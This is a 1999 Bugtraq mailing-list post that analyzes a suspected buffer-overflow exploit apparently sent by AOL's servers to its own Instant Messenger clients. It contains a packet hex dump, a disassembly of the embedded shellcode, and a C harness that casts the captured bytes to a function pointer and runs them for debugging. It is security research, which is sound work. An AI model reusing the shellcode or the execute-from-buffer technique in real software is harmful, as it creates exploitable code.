[11399] in bugtraq
AOL Buffer Overflow???
daemon@ATHENA.MIT.EDU (Robert Graham)
Tue Aug 17 23:57:27 1999
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Message-Id: <000601bee87b$9fd79600$c901000a@intra.netice.com>
Date: Mon, 16 Aug 1999 23:42:07 -0700
Reply-To: Robert Graham <bugtraq@NETWORKICE.COM>
From: Robert Graham <bugtraq@NETWORKICE.COM>
X-To: BUGTRAQ@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
/*
Possible Buffer Overflow in AOL Instant Messenger
------------------------------------------------------------
Robert Graham
http://www.robertgraham.com/pubs/aol-exploit/
It appears to me that AOL might be running a buffer-overflow
exploit against their own clients.
BEFORE DOING ANYTHING ELSE: log onto AOL Instant Messaging and
take a trace of it with NetMon/tcpdump/Sniffer/etc. If this is
really happening, then AOL will likely fix it soon.
DETAILS
------------------------------------------------------------
Last friday I read the following in the NYTimes:
http://www.nytimes.com/library/tech/99/08/biztech/articles/13soft.html
This story brings up the implication that America Online might
be running a "buffer-overflow exploit" on in its own users.
They have already made 13 changes to their server code in
the past few weeks in order to stop Microsoft's clones from
working, so this may be yet another attempt.
According to whay I see, it appears to me that this implication
is correct. I see something that looks a lot like a buffer overflow
exploit when sniffing the connection between the client and AOL's servers.
You can reproduce this yourself:
1. log onto AOL Instant Messenger with the latest client that
comes with Communicator version WIN32 2.0.912, aka 2.0N.
(Click on [File/Help/Report a bug] to get the real version).
2. take a packet trace of the login procedures (I use NetMon).
3. look for the frame that I describe below.
4. copy/paste the frame data into the C program as I demonstrate
below.
5. step through the code in the debugger and disassemble it
THE PACKET
------------------------------------------------------------
AOL has removed their documentation from the Internet recently.
I had to download the GAIM (AIM client for Linux) source
code to figure things out.
A TCP connection is used. The format for each request/response
in the login process is:
byte[0] = 0x2a
byte[1] = 0x02 (type = 2 =login)
byte[2-3] = sequence number
byte[4-5] = length
byte[6-7] = type
byte[8-9] = subtype
However, multiple requests/responses can be queued into
a single packet. Following is the entire TCP packet I received
from the AOL server to my client:
00000000 00 00 BA 5E BA 11 00 A0 C9 B0 5E BD 08 00 45 00 ...^......^...E.
00000010 01 90 35 2A 40 00 7F 06 AF 73 0A 00 00 02 0A 00 ..5*@...s......
00000020 01 C9 04 38 0D 7F 25 F8 E3 A3 0C 19 A5 14 50 18 ...8.%.......P.
00000030 6E B5 4C E2 00 00/2A 02 31 F8 00 0C 00 0B 00 02 n.L...*.1.......
00000040 00 00 80 A2 F1 D5 04 B0/2A 02 31 F9 01 28 00 01 ........*.1..(..
00000050 00 13 00 00 80 A2 F1 D6 00 FF 00 0B 01 18*83*C4 ................
00000060 10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$...........
00000070 00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N
00000080 00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B.
00000090 00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E....
000000A0 00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................
000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................
00000150 08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D.........
00000160 00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8*E9*...........G@...
00000170 EA FE FF FF 00 00/2A 02 31 FA 00 22 00 01 00 13 ......*.1.."....
00000180 00 00 80 A2 F1 D7 00 04 00 0B 00 12 68 74 74 70 ............http
00000190 3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D ://www.aol.com
There are three AIM segments in this packet, which I've
marked with slashes in the above decode. (Remember that
TCP is a stream based protocol, so application protocols
have to figure out their own boundaries, and you often
see multiple segments in a single TCP packet). The
second segment is of interest here, as marked by
the slashes.
It seems like the first byte of the embedded code
starts at the byte with the value 0x83 at offset 0x53
However, this isn't the buffer overflow, but the start of the
buffer itself. Immediately proceeding this is what appears to
be a length field. I'm thinking they only allow for a max
length of 256 (0x100), but the length field has an
extra 0x18 bytes. So if we go 256 bytes into the buffer,
we get some more stuff that looks like code.
I haven't analyzed all this stuff, but it appears that at
the end of the overflow section, it jumps back to the start
of the buffer that contains the code of the exploit.
[You only get so much wriggle room where you overflow,
because the more you overflow, the more of the stack you
overwrite; so the overflowed section has to be as small
as possible, and jump backwards to actually run something].
THE DECODE
------------------------------------------------------------
In this section, I have done a decode of all the bytes
in the segment. To the left are the original bytes,
to the right is either the protocol interpretation
or the disassembled output. These bytes are
in the same order as in the original packet.
2A 02 parse of logon sequence
31 F9 sequence number
01 28 length of this segment
00 01 00 13 type/subtype field of this packet
00 00 80 A2 F1 D6 00 FF 00 0B unknown data
01 18 length of data field
83 C4 10 add esp,10h
4F dec edi
8D 94 24 E4 FE FF FF lea edx,dword ptr [esp-11Ch]
8B EC mov ebp,esp
03 AA F8 00 00 00 add ebp,dword ptr [edx+0F8h]
90 nop
90 nop
90 nop
90 nop
8B 82 F0 00 00 00 mov eax,dword ptr [edx+0F0h]
8B 00 mov eax,dword ptr [eax]
89 82 4E 00 00 00 mov dword ptr [edx+4Eh],eax
8B 4D 04 mov ecx,dword ptr [ebp+4]
03 8A F4 00 00 00 add ecx,dword ptr [edx+0F4h]
8D 82 42 00 00 00 lea eax,dword ptr [edx+42h]
89 45 10 mov dword ptr [ebp+10h],eax
B8 10 00 00 00 mov eax,10h
89 45 0C mov dword ptr [ebp+0Ch],eax
C9 leave
FF E1 jmp ecx
00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 filler
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 block
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 that
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 doesn't
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mean
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 much
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 start of
08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 overflow
00 00 08 01 00 00 00 00 00 00
90 47 40 00 jump address?
F8 unknown
E9 EA FE FF FF jmp back_to_start_of_buffer
00 00
You'll notice that there appears to be other code that
I haven't disassembled. I would have to second-guess
the original source, and I don't quite feel like it.
How to disassemble this? The easiest way is simply
to paste the data bytes into a program and RUN the code.
In theory, you could create a sample program that would
actually run this code completely without crashing
but that would take A LOT of effort.
THE CODE TO TEST IT
------------------------------------------------------------
*/
/* The data from the packet, starting at where I believe the data field
* begins.*/
unsigned char packet[] = {0x83, 0xC4,
0x10, 0x4F, 0x8D, 0x94, 0x24, 0xE4, 0xFE, 0xFF,
0xFF, 0x8B, 0xEC, 0x03, 0xAA, 0xF8, 0x00, 0x00,
0x00, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x82, 0xF0,
0x00, 0x00, 0x00, 0x8B, 0x00, 0x89, 0x82, 0x4E,
0x00, 0x00, 0x00, 0x8B, 0x4D, 0x04, 0x03, 0x8A,
0xF4, 0x00, 0x00, 0x00, 0x8D, 0x82, 0x42, 0x00,
0x00, 0x00, 0x89, 0x45, 0x10, 0xB8, 0x10, 0x00,
0x00, 0x00, 0x89, 0x45, 0x0C, 0xC9, 0xFF, 0xE1,
0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x10,
0x08, 0x11, 0x29, 0xEC, 0xFF, 0xFF, 0x44, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x90, 0x47, 0x40, 0x00, 0xF8, 0xE9,
0xEA, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x2A, 0x02,
0x31, 0xFA, 0x00, 0x22, 0x00, 0x01, 0x00, 0x13,
0x00, 0x00, 0x80, 0xA2, 0xF1, 0xD7, 0x00, 0x04,
0x00, 0x0B, 0x00, 0x12, 0x68, 0x74, 0x74, 0x70,
0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61,
0x6F, 0x6C, 0x2E, 0x63, 0x6F, 0x6D};
/* Function point that will point to the buffer above */
void (*foo)();
int main()
{
/* Set to the point where it overflows (256-characters in),
* then add an offset to the jmp instruction that jumps back
* to the begining */
foo = packet+256+0x11;
/* In MS DevStudio, put a break point here, and then turn on
* disassembly mode [View/Debug Windows/Disassembly]. This will
* allow you to single step each assembly intruction, and will
* disassemble them for you. Also, turn on view of the original
* bytes by righ-hand-mouse-clicking on the disassembly and
* selecting [Code Bytes].
*/
foo();
return 0;
}